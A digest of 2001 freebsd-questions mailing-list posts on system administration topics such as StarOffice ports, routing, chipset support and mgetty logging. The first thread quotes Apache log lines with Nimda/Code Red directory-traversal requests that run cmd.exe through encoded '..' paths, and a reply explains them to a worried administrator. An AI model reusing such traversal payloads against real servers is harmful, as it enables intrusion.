Nov 19 13:30:39 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mcqueen.wolfsburg.de (pns.wobline.de [212.68.68.5]) by hub.freebsd.org (Postfix) with ESMTP id 4818237B416 for ; Mon, 19 Nov 2001 13:30:32 -0800 (PST) Received: from colt.ncptiddische.net (ppp-318.wobline.de [212.68.71.39]) by mcqueen.wolfsburg.de (8.11.3/8.11.3/tw-20010821) with ESMTP id fAJLUNO11608; Mon, 19 Nov 2001 22:30:23 +0100 Received: from jodie.ncptiddische.net (jodie.ncptiddische.net [192.168.0.2]) by colt.ncptiddische.net (8.11.6/8.11.6) with ESMTP id fAJLV0t16380; Mon, 19 Nov 2001 22:31:00 +0100 (CET) (envelope-from nils@tisys.org) Received: from jodie.ncptiddische.net (jodie.ncptiddische.net [192.168.0.2]) by jodie.ncptiddische.net (8.11.6/8.11.6) with ESMTP id fAJLVFR04822; Mon, 19 Nov 2001 22:31:15 +0100 (CET) (envelope-from nils@tisys.org) Date: Mon, 19 Nov 2001 22:31:15 +0100 (CET) From: Nils Holland To: ann kok Cc: freebsd-questions@FreeBSD.ORG Subject: Re: apache's log In-Reply-To: <20011119205857.39148.qmail@web20101.mail.yahoo.com> Message-ID: <20011119222958.A4720-100000@jodie.ncptiddische.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG What you are seeing in your log comes from the Nimbda / Code Red worms. Luckily, these worms can only do harm to (unprotected) Microsoft Windows / IIS based machines. Assuming that you are running Apache on FreeBSD, you can rest assured: These worms cannot to any harm to you. Greetings Nils On Mon, 19 Nov 2001, ann kok wrote: > Hi all > > I would like to know whether my web server is > comprising by the following log message > > How do I know it? > > Thank you very much > > 203.64.184.144 - - [20/Nov/2001:00:17:18 +0800] "GET > /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir > HTTP/1.0 > " 404 304 > 203.64.184.144 - - [20/Nov/2001:00:17:19 +0800] "GET > /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir > HTTP/1.0 > " 404 304 > 203.64.184.144 - - [20/Nov/2001:00:17:22 +0800] "GET > /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir > HTTP/1.0 > " 404 304 > 203.64.184.144 - - [20/Nov/2001:00:17:26 +0800] "GET > /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir > HTTP/1. > 0" 400 288 > 203.64.184.144 - - [20/Nov/2001:00:17:33 +0800] "GET > /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir > HTTP/1.0" > 400 288 > 203.64.184.144 - - [20/Nov/2001:00:17:34 +0800] "GET > /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir > HTTP/ > 1.0" 404 305 > 203.64.184.144 - - [20/Nov/2001:00:17:40 +0800] "GET > /scripts/..%252f../winnt/system32/cmd.exe?/c+dir > HTTP/1.0" > 404 305 > industry.ssu.ac.kr - - [20/Nov/2001:01:21:34 +0800] > "-" 408 - > industry.ssu.ac.kr - - [20/Nov/2001:01:22:58 +0800] > "-" 408 - > industry.ssu.ac.kr - - [20/Nov/2001:01:24:29 +0800] > "-" 408 - > industry.ssu.ac.kr - - [20/Nov/2001:01:25:59 +0800] > "-" 408 - > industry.ssu.ac.kr - - [20/Nov/2001:01:27:30 +0800] > "-" 408 - > industry.ssu.ac.kr - - [20/Nov/2001:01:29:00 +0800] > "-" 408 - > industry.ssu.ac.kr - - [20/Nov/2001:01:30:30 +0800] > "-" 408 - > industry.ssu.ac.kr - - [20/Nov/2001:01:32:01 +0800] > "-" 408 - > industry.ssu.ac.kr - - [20/Nov/2001:01:33:31 +0800] > "-" 408 - > industry.ssu.ac.kr - - [20/Nov/2001:01:35:02 +0800] > "-" 408 - > industry.ssu.ac.kr - - [20/Nov/2001:01:36:32 +0800] > "-" 408 - > industry.ssu.ac.kr - - [20/Nov/2001:01:38:03 +0800] > "-" 408 - > > __________________________________________________ > Do You Yahoo!? > Find the one for you at Yahoo! Personals > http://personals.yahoo.com > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > > > Nils Holland Ti Systems - FreeBSD in Tiddische, Germany http://www.tisys.org * nils@tisys.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 13:31:36 2001 Delivered-To: freebsd-questions@freebsd.org Received: from kayak.xcllnt.net (209-128-86-226.bayarea.net [209.128.86.226]) by hub.freebsd.org (Postfix) with ESMTP id B2B6337B416; Mon, 19 Nov 2001 13:31:26 -0800 (PST) Received: (from marcel@localhost) by kayak.xcllnt.net (8.11.6/8.11.4) id fAJLUkh50906; Mon, 19 Nov 2001 13:30:46 -0800 (PST) (envelope-from marcel) Date: Mon, 19 Nov 2001 13:30:46 -0800 From: Marcel Moolenaar To: Nevermind Cc: Cyrille Lefevre , "David O'Brien" , Andreas Klemm , ports@FreeBSD.ORG, questions@FreeBSD.ORG Subject: Re: linux_base-{6|7} && staroffice-{52|6} (was: PORTVERSION=6.1 wrong in linux_base-62 ???) Message-ID: <20011119133046.B50804@kayak.xcllnt.net> References: <20011115211037.B721@dhcp01.pn.xcllnt.net> <200111161203.fAGC3FI05149@gits.dyndns.org> <20011116184522.A528@athlon.pn.xcllnt.net> <20011119150708.B13357@nevermind.kiev.ua> <20011119105703.A39046@dhcp01.pn.xcllnt.net> <20011119211445.B11785@nevermind.kiev.ua> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20011119211445.B11785@nevermind.kiev.ua> User-Agent: Mutt/1.3.22.1i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Nov 19, 2001 at 09:14:45PM +0200, Nevermind wrote: > > > > Before you ask for help again, make sure you've searched the mailing > > lists and browsed the handbook to see if your problem has been > > reported before, you understand the procedure and tried everything > > that has been suggested. If it still doesn't work, send a concise > > and complete problem description with information about your machine, > > your setup and what you've done to an appropriate list (in this case > > questions@FreeBSD.org). People there will help you before you can > Do you think it is -questions question? If the question isn't accompanied with background information, then it probably is, because I interpret that as not being familiar yet with the mailinglists. With the info given below, it would not have been inappropriate for -ports. > I think it is ports-related one. I can now agree with you :-) > % /compat/linux/sbin/ldconfig -p: > 116 libs found in cache `/etc/ld.so.cache' (version 1.7.0) [List of libraries cut]. Ok, this tells me that you have linux_base (ie version 6.1). Good. > % /usr/bin/uname -a: > FreeBSD mile.nevermind.kiev.ua 4.4-STABLE FreeBSD 4.4-STABLE #0: Fri Nov 2 15:56:19 EET 2001 root@mile.nevermind.kiev.ua:/usr/obj/usr/src/sys/mile i386 > A recent -STABLE machine with a linux kernel module before the Mega-MFC. Good. > % cd /usr/ports/editors/staroffice52; make install WITH_ADABAS=yes: > ===> staroffice-5.2 depends on file: /compat/linux/lib/libc.so.6 - > found What happens if you do not enable ADABAS? I never enabled it and I also never had problems with SO-5.2... Searching the mailing lists I found the following: URL=http://www.FreeBSD.org/cgi/getmsg.cgi?fetch=2341750+2344274+/usr/local/www/db/text/2001/freebsd-questions/20010916.freebsd-questions \begin{sniplet} As far as I know 2 things will not work: - StarOffice's database ADABAS and - Netscape will not be able to display JAVA-applets (JavaScripts will work fine). \end{sniplet} So, try it without ADABAS and see if things improve. Oh, since you have a 2.2.12 linux kernel module. Stick to SO-5.2. If you need to run SO-6, you need to upgrade you -STABLE box and I suggest to make sure it's what you want. HTH, -- Marcel Moolenaar USPA: A-39004 marcel@xcllnt.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 13:38:49 2001 Delivered-To: freebsd-questions@freebsd.org Received: from lists.blarg.net (lists.blarg.net [206.124.128.17]) by hub.freebsd.org (Postfix) with ESMTP id 9F7DA37B418 for ; Mon, 19 Nov 2001 13:38:46 -0800 (PST) Received: from thig.blarg.net (thig.blarg.net [206.124.128.18]) by lists.blarg.net (Postfix) with ESMTP id 55BC7BCF3; Mon, 19 Nov 2001 13:38:46 -0800 (PST) Received: from localhost.localdomain ([206.124.139.115]) by thig.blarg.net (8.9.3/8.9.3) with ESMTP id NAA15123; Mon, 19 Nov 2001 13:38:45 -0800 Received: (from jojo@localhost) by localhost.localdomain (8.11.6/8.11.3) id fAJLaxI73488; Mon, 19 Nov 2001 13:36:59 -0800 (PST) (envelope-from swear@blarg.net) To: Joost Bekkers Cc: freebsd-questions@FreeBSD.ORG Subject: Re: ipfilter + bridge References: <20011119094950.A72386@bps.jodocus.org> From: swear@blarg.net (Gary W. Swearingen) Date: 19 Nov 2001 13:36:57 -0800 In-Reply-To: <20011119094950.A72386@bps.jodocus.org> Message-ID: <1in11i30jq.11i@localhost.localdomain> Lines: 14 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.1 (Cuyahoga Valley) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Joost Bekkers writes: > I don't know about ipfilter, but i know ipfw will work. Keep in mind though that > it will only filter IP packets. All others will be passed unless you hack around that in > the kernel. The man pages are wrong on this point. If you know a man page is wrong, please pay your dues by reporting it. If you can't spare the time for the full PR process http://www.freebsd.org/support.html#gnats at least report the wrong words and maybe some better ones in a message to freebsd-doc. Thanks. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 13:48:47 2001 Delivered-To: freebsd-questions@freebsd.org Received: from indigo.quadrant.net (indigo.quadrant.net [207.195.92.9]) by hub.freebsd.org (Postfix) with ESMTP id B0D4337B418 for ; Mon, 19 Nov 2001 13:48:44 -0800 (PST) Received: from git2000 (56K81.quadrant.net [207.195.92.81]) by indigo.quadrant.net (8.9.1/8.9.1) with SMTP id PAA02773 for ; Mon, 19 Nov 2001 15:48:40 -0600 (CST) From: "Scott Gerhardt" To: "FreeBSD" Subject: Disk Partitioning Date: Mon, 19 Nov 2001 15:51:27 -0600 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I'm setting up a multipurpose production server for HTTP, POP3 and DB that would serve up to 100 virtual hosts and 300 POP accounts. I have no idea about disk space required for logging and mail. Any insights? Is it a good idea to create separate partitions for /var/mail and /var/log to keep things separate incase of runaway log files? Thanks, _________________________________ Scott Gerhardt, P.Geo. Gerhardt Information Technologies _________________________________ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 13:57:46 2001 Delivered-To: freebsd-questions@freebsd.org Received: from bps.jodocus.org (c115139.upc-c.chello.nl [212.187.115.139]) by hub.freebsd.org (Postfix) with ESMTP id B561937B405 for ; Mon, 19 Nov 2001 13:57:43 -0800 (PST) Received: (from joost@localhost) by bps.jodocus.org (8.11.3/8.11.3) id fAJLvcn74558; Mon, 19 Nov 2001 22:57:38 +0100 (CET) (envelope-from joost) Date: Mon, 19 Nov 2001 22:57:38 +0100 From: Joost Bekkers To: "Gary W. Swearingen" Cc: freebsd-questions@FreeBSD.ORG Subject: Re: ipfilter + bridge Message-ID: <20011119225737.A74478@bps.jodocus.org> References: <20011119094950.A72386@bps.jodocus.org> <1in11i30jq.11i@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <1in11i30jq.11i@localhost.localdomain>; from swear@blarg.net on Mon, Nov 19, 2001 at 01:36:57PM -0800 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Nov 19, 2001 at 01:36:57PM -0800, Gary W. Swearingen wrote: > Joost Bekkers writes: > > > I don't know about ipfilter, but i know ipfw will work. Keep in mind though that > > it will only filter IP packets. All others will be passed unless you hack around that in > > the kernel. The man pages are wrong on this point. > > If you know a man page is wrong, please pay your dues by reporting it. > > If you can't spare the time for the full PR process > http://www.freebsd.org/support.html#gnats > at least report the wrong words and maybe some better ones in a message > to freebsd-doc. > > Thanks. http://www.freebsd.org/cgi/query-pr.cgi?pr=kern/23771 Gary, would you mind looking at the date of this pr ;-) -- greetz Joost joost@jodocus.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 14: 4:53 2001 Delivered-To: freebsd-questions@freebsd.org Received: from fenris.cc (fenris.cc [65.205.165.233]) by hub.freebsd.org (Postfix) with ESMTP id 8832037B416 for ; Mon, 19 Nov 2001 14:04:49 -0800 (PST) Received: (qmail 12259 invoked from network); 19 Nov 2001 21:55:41 -0000 Received: from unknown (HELO loki.intra) (12.4.196.10) by fenris.cc with SMTP; 19 Nov 2001 21:55:41 -0000 Received: by loki.intra (sSMTP sendmail emulation); Mon, 19 Nov 2001 17:05:04 -0500 Date: Mon, 19 Nov 2001 17:05:04 -0500 From: Zak Johnson To: freebsd-questions@freebsd.org Subject: Complex routing for a firewall Message-ID: <20011119220504.GA3048@loki.intra> Mail-Followup-To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.23.2i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I am having some trouble setting up routing for my (admittedly strange) network. I control x.x.165.232/29. My gateway (controlled by my ISP) is x.x.164.1. My intended setup: ISP Gateway (x.x.164.1) | firewall rl0 (inet x.x.165.233 netmask 255.255.254.0) firewall rl1 (inet x.x.165.234 netmask 255.255.255.248) | servers (inet x.x.165.235-237 netmask 255.255.255.248) The firewall's rl0 has the odd netmask because otherwise FreeBSD complains on `route add default x.x.164.1`. Adding the following route on the firewall allows the firewall to communicate with the servers and the gateway, and vice-versa: route add x.x.165.233/29 -iface rl1 -cloning But the servers cannot get to the gateway (or even rl0 on the firewall). Using ipfilter, /etc/ipf.rules says: pass in quick all pass out quick all and net.inet.ip.forwarding=1. What am I missing? Do I need to try to convince my ISP to give me one IP on the x.x.164.1/24 network for rl0? Please let me know if I'm leaving out any required information. -- Zak Johnson To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 14: 7:25 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id D60DF37B418 for ; Mon, 19 Nov 2001 14:07:19 -0800 (PST) Received: (qmail 62277 invoked by uid 100); 19 Nov 2001 22:07:25 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15353.33437.744317.153424@guru.mired.org> Date: Mon, 19 Nov 2001 16:07:25 -0600 To: jaime@snowmoon.com Cc: questions@freebsd.org Subject: Re: Writable directory except for a given user In-Reply-To: <97636347@toto.iv> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG jaime@snowmoon.com types: > I'm trying to make a directory available to a group of users equal > to all users _minus_ a given list. I know that I can use /etc/group and > chgrp and chmod to allow something to be writable to approved users. > However, I don't know how to do this as a "blacklist exclusion" approach. > Unfortunately, I have to allow all users except for a handful to access a > directory. > > Does anyone have a tip for this? Sure - create a group that you put all users in by default, and then take blacklisted users out of it. Note that the obvious solution - of putting blacklisted users in a group, the giving the directory in question to a group with readable other permisions and no group permissions - doesn't work. Last time I checked, it was trivial to take yourself out of a group. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 14:14:59 2001 Delivered-To: freebsd-questions@freebsd.org Received: from tk212017121218.teleweb.at (TK212017121218.teleweb.at [212.17.121.218]) by hub.freebsd.org (Postfix) with SMTP id 8FF2C37B405 for ; Mon, 19 Nov 2001 14:14:57 -0800 (PST) Received: (qmail 2495 invoked by uid 1001); 19 Nov 2001 22:14:56 -0000 Date: Mon, 19 Nov 2001 23:14:56 +0100 From: Herbert To: freebsd-questions@FreeBSD.org Subject: Elitegroup K7S5A - SIS 735 chipset Message-ID: <20011119231456.A2200@TK212017121218.teleweb.at> Mail-Followup-To: freebsd-questions@FreeBSD.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i X-Operating-System: FreeBSD 4.4-STABLE i386 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hei! Is the K7S5A mainboard and the SIS 735 chipset supported by FreeBSD 4.4-STABLE? What about the onboard ide controller? Can I run my hard disks in udma66 or udma100 mode? Any known problems with this mainboard and FreeBSD? Your comments are welcome! Tnx! Regards, Herbert To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 14:19:19 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id B21C837B418 for ; Mon, 19 Nov 2001 14:19:14 -0800 (PST) Received: (qmail 62435 invoked by uid 100); 19 Nov 2001 22:19:22 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15353.34154.70535.751414@guru.mired.org> Date: Mon, 19 Nov 2001 16:19:22 -0600 To: dochawk@psu.edu Cc: questions@freebsd.org Subject: Re: Vi a Joke ? In-Reply-To: <60230366@toto.iv> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG dochawk@psu.edu types: > David dabbled > > On Mon, 19 Nov 2001, Kent Stewart wrote: > > > One point people forget and that is what can you use when you mess up > > > rc.conf and your system will only boot into single user mode. Learning > > > vi at that point is a painic :). > > At that point it is nice to know how to use "ed". :-) > as I found out the hard way a couple of months ago :) > vim is on /usr, and if you're hitting single user becuase of a problem > with /usr, ed is all there is. Fortunately, ed is rather obvious to > the vi user--I hadn't used it in over 15 years, and did just fine. I still use ed regularly. If I'm going to make a one-line change on a file I know fairly well, vi drawing the full screen is just a waste of time. I run Xemacs as me for mail, programming, and most other things. I tend to use vi as root for simple but not trivial things. For really complex things, I'll edit a copy as me in emacs or start emacs up. Does that make me trieditorial? The article reminded me of a study done at Xerox on editors. They had one test subject who was something much faster than anyone else, whereas most others grouped close together, with relatively minor variations compared to that. Turns out the subject in question was just typing the correct sequence of commands without worrying about seeing the results. Hard to beat that. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 14:22:47 2001 Delivered-To: freebsd-questions@freebsd.org Received: from finch-post-11.mail.demon.net (finch-post-11.mail.demon.net [194.217.242.39]) by hub.freebsd.org (Postfix) with ESMTP id 5942737B405 for ; Mon, 19 Nov 2001 14:22:43 -0800 (PST) Received: from viewp.demon.co.uk ([194.222.47.29]) by finch-post-11.mail.demon.net with esmtp (Exim 2.12 #1) id 165woG-00090z-0B for freebsd-questions@freebsd.org; Mon, 19 Nov 2001 22:22:39 +0000 Received: from broadway (broadway.viewp.co.uk [192.168.150.75]) by viewp.demon.co.uk (8.11.1/8.11.1) with SMTP id fAJMMV046164 for ; Mon, 19 Nov 2001 22:22:34 GMT (envelope-from humbug@seaton-ross.co.uk) Message-ID: <005001c17148$aceece00$4b96a8c0@viewp.co.uk> From: "Richard Chapman" To: Subject: wtmp entries from mgetty Date: Mon, 19 Nov 2001 22:22:27 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello list, I have a problem with mgetty, I am using mgetty to provide dial in access via a modem for both terminal and ppp (userland) sessions. This is all working great except for the problem that I am getting loads and loads of entries in wtmp - honeybourne# last | more dialout cuaa1 Mon Nov 19 22:20 still logged in dialout cuaa1 Mon Nov 19 22:20 still logged in dialout cuaa1 Mon Nov 19 22:19 - 22:20 (00:00) dialout cuaa1 Mon Nov 19 22:19 still logged in dialout cuaa1 Mon Nov 19 22:19 - 22:19 (00:00) dialout cuaa1 Mon Nov 19 22:19 still logged in dialout cuaa1 Mon Nov 19 22:18 - 22:19 (00:00) dialout cuaa1 Mon Nov 19 22:18 still logged in dialout cuaa1 Mon Nov 19 22:18 - 22:18 (00:00) dialout cuaa1 Mon Nov 19 22:18 still logged in dialout cuaa1 Mon Nov 19 22:17 - 22:17 (00:00) dialout cuaa1 Mon Nov 19 22:17 still logged in dialout cuaa1 Mon Nov 19 22:17 - 22:17 (00:00) dialout cuaa1 Mon Nov 19 22:16 still logged in dialout cuaa1 Mon Nov 19 22:16 - 22:16 (00:00) dialout cuaa1 Mon Nov 19 22:16 still logged in dialout cuaa1 Mon Nov 19 22:16 - 22:16 (00:00) dialout cuaa1 Mon Nov 19 22:15 still logged in dialout cuaa1 Mon Nov 19 22:15 - 22:15 (00:00) dialout cuaa1 Mon Nov 19 22:15 still logged in dialout cuaa1 Mon Nov 19 22:15 - 22:15 (00:00) honeybourne# date Mon Nov 19 22:21:04 GMT 2001 honeybourne# uname -a FreeBSD honeybourne 4.2-RELEASE FreeBSD 4.2-RELEASE #1: Sun Mar 25 20:46:36 BST 2001 root@honeybourne:/usr/src/sys/compile/HONEYBOURNE i386 honeybourne# Does anyone know why I am getting so many of these entries, all these entries make my wtmp quite large and difficult to see the wood for the trees! Many thanks for your help Richard Chapman To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 14:29:35 2001 Delivered-To: freebsd-questions@freebsd.org Received: from urdvg136.cms.usa.net (urdvg136.cms.usa.net [204.68.25.136]) by hub.freebsd.org (Postfix) with SMTP id 5145B37B435 for ; Mon, 19 Nov 2001 14:28:37 -0800 (PST) Received: (qmail 15418 invoked from network); 19 Nov 2001 22:29:37 -0000 Received: from cpdvg203.cms.usa.net (165.212.11.13) by outbound.postoffice.net with SMTP; 19 Nov 2001 22:29:37 -0000 Received: (qmail 12481 invoked by uid 60001); 19 Nov 2001 22:27:58 -0000 Message-ID: <20011119222758.12480.qmail@cpdvg203.cms.usa.net> Received: from 165.212.11.13 by mx09 for [129.7.248.144] via web-mailer(34FM.0700.21.01) on Mon Nov 19 22:27:57 GMT 2001 Date: 19 Nov 2001 16:27:57 CST From: shreenivasa H V To: questions@freebsd.org Subject: CPU time quantum and HZ X-MSMail-Priority: High X-Priority: 1 X-Mailer: USANET web-mailer (34FM.0700.21.01) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, Can anyone tell me the value of the time quantum used by the CPU schedule= r, when it is following a round-robin policy? Also, when I was going through= the code, found that the quantum depends on the value of 'hz'. What's the val= ue of hz? I am talking with respect to i386 platform. thanks, shreeni. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 14:34: 0 2001 Delivered-To: freebsd-questions@freebsd.org Received: from gladstone.uoregon.edu (gladstone.uoregon.edu [128.223.142.14]) by hub.freebsd.org (Postfix) with ESMTP id E1BCC37B63C for ; Mon, 19 Nov 2001 14:32:14 -0800 (PST) Received: from there (d184-101.uoregon.edu [128.223.184.101]) by gladstone.uoregon.edu (8.11.6/8.11.6) with SMTP id fAJMWB404962; Mon, 19 Nov 2001 14:32:11 -0800 (PST) Message-Id: <200111192232.fAJMWB404962@gladstone.uoregon.edu> Content-Type: text/plain; charset="iso-8859-1" From: Eric Anholt Reply-To: eanholt@gladstone.uoregon.edu To: Mark Miller Subject: Re: getting the most out of OpenGL Date: Mon, 19 Nov 2001 14:32:31 -0800 X-Mailer: KMail [version 1.3.1] Cc: freebsd-questions@FreeBSD.ORG References: <20011119010308.C2017-100000@soda.csua.berkeley.edu> In-Reply-To: <20011119010308.C2017-100000@soda.csua.berkeley.edu> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG There have been projects working on making a kernel module for FreeBSD to allow that binary driver to work. News on them can be found at: http://nvidia.netexplorer.org/ Recently a working module has been made for 2d with the binary driver, and apparently 3d will be supported "soon." Check out the site for more info. As far as multiple X installations, it can be done but I haven't done it personally. I just keep multiple X source trees on my drive. On Monday 19 November 2001 01:13, Mark Miller wrote: > Thanks for the response. I've been doing a little more research and > apparently there is a driver (NVdriver), available for linux and XF86 4.x, > that provides excellent 3d performance. The downside is that it appears > to require a module in the kernel, which, I presume, makes it very > linux-specific. But I'm wondering-- will FreeBSD's Linux API handle this > sort of thing, even for kernel modules? > > The other issue-- how hard is it to have two XF86 installs (3.3.6 and > 4.1) side by side? > > Thanks > Mark -- Eric Anholt eanholt@gladstone.uoregon.edu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 14:34:42 2001 Delivered-To: freebsd-questions@freebsd.org Received: from rutger.owt.com (rutger.owt.com [204.118.6.16]) by hub.freebsd.org (Postfix) with ESMTP id D1E0337B630 for ; Mon, 19 Nov 2001 14:34:20 -0800 (PST) Received: from owt.com (owt-207-41-94-232.owt.com [207.41.94.232]) by rutger.owt.com (8.9.3/8.9.3) with ESMTP id OAA28412; Mon, 19 Nov 2001 14:34:17 -0800 Message-ID: <3BF988E8.90902@owt.com> Date: Mon, 19 Nov 2001 14:34:16 -0800 From: Kent Stewart User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2 X-Accept-Language: en-us MIME-Version: 1.0 To: Herbert Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Elitegroup K7S5A - SIS 735 chipset References: <20011119231456.A2200@TK212017121218.teleweb.at> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Herbert wrote: > Hei! > > Is the K7S5A mainboard and the SIS 735 chipset supported by FreeBSD > 4.4-STABLE? What about the onboard ide controller? Can I run my hard > disks in udma66 or udma100 mode? No, only UDMA33. The networking isn't supported. I have a Amptron 830XLM, which is based on the same SiS-735 chipeset, and I also don't have onboard sound at this point. > Any known problems with this mainboard and FreeBSD? If you add a NIC, Promise Ultra-100, and a sound card it runs well :). Kent > > Your comments are welcome! Tnx! > > Regards, > Herbert > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > > . > > -- Kent Stewart Richland, WA mailto:kbstew99@hotmail.com http://users.owt.com/kstewart/index.html FreeBSD News 